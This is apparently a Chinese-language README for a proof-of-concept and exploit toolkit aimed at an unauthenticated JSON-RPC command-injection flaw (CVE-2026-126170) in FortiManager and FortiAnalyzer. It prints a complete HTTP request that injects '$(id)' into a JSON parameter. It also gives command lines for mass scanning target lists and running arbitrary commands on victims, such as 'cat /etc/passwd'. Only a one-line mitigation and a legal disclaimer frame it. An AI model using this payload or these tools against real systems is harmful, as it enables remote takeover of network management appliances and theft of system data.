针对 FortiManager/FortiAnalyzer 中未认证 JSON-RPC 注入 RCE 漏洞 CVE-2026-126170 的 PoC 与漏洞利用脚本,包含端点验证、命令执行和批量扫描功能。
法律声明: 本仓库仅为教育和安全研究目的而创建。未经事先明确书面授权而对系统使用这些工具是非法的。作者不对本材料的滥用承担责任。
| 字段 | 详情 |
|---|---|
| CVE | CVE-2026-126170 |
| 别名 | FortiManager-JSONRPC |
| 类型 | 未认证的 JSON-RPC 注入 |
| CVSS | 9.8 Critical (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| 组件 | FortiManager 和 FortiAnalyzer 的 /jsonrpc 端点 |
| 向量 | 无会话令牌的构造 JSON-RPC 请求 |
| 认证 | 启用 JSON-RPC 时不需要 |
| 影响 | 启用 rpc-permit 的 FortiManager 和 FortiAnalyzer |
| 已修复 | FortiManager 8.0.3+ |
| 披露时间 | 2026 年 11 月 |
当 FortiManager/FortiAnalyzer 中启用 JSON-RPC API 时
(config system global / set rpc-permit),/jsonrpc 端点
接受没有有效认证的请求。攻击者可以向 JSON 参数中注入
恶意数据,以触发特权功能,包括在操作系统上执行命令。
该漏洞在于缺少对参数字段的输入验证,这些字段 未经净化就被直接传递给内部函数, 从而允许逃逸到系统 shell。
POST /jsonrpc HTTP/1.1
Host: fortimanager.alvo.com
Content-Type: application/json
{
"id": 1,
"method": "exec",
"params": [{"url": "/sys/api/smtptest",
"data": {"server": "$(id)"}}],
"jsonrpc": "2.0"
}
# 检查 /jsonrpc 是否响应
python poc.py --target 192.168.1.10 --no-ssl-verify
# 使用 HTTP 而非 HTTPS
python poc.py --target 192.168.1.10 --no-ssl --port 80
# 批量扫描
python poc.py --target fortimanager.empresa.com --targets-file alvos.txt --output result.json
# 尝试远程执行(默认命令:id)
python exploit.py --target 192.168.1.10 --no-ssl-verify
# 自定义命令
python exploit.py --target 192.168.1.10 --cmd "whoami" --no-ssl-verify
# 先收集系统信息
python exploit.py --target 192.168.1.10 --info --cmd "cat /etc/passwd" --no-ssl-verify
# 在 FortiManager/FortiAnalyzer 中禁用 JSON-RPC
config system global
set rpc-permit none
end
By Gh0st-Bx1 | https://github.com/Ghost-Bx1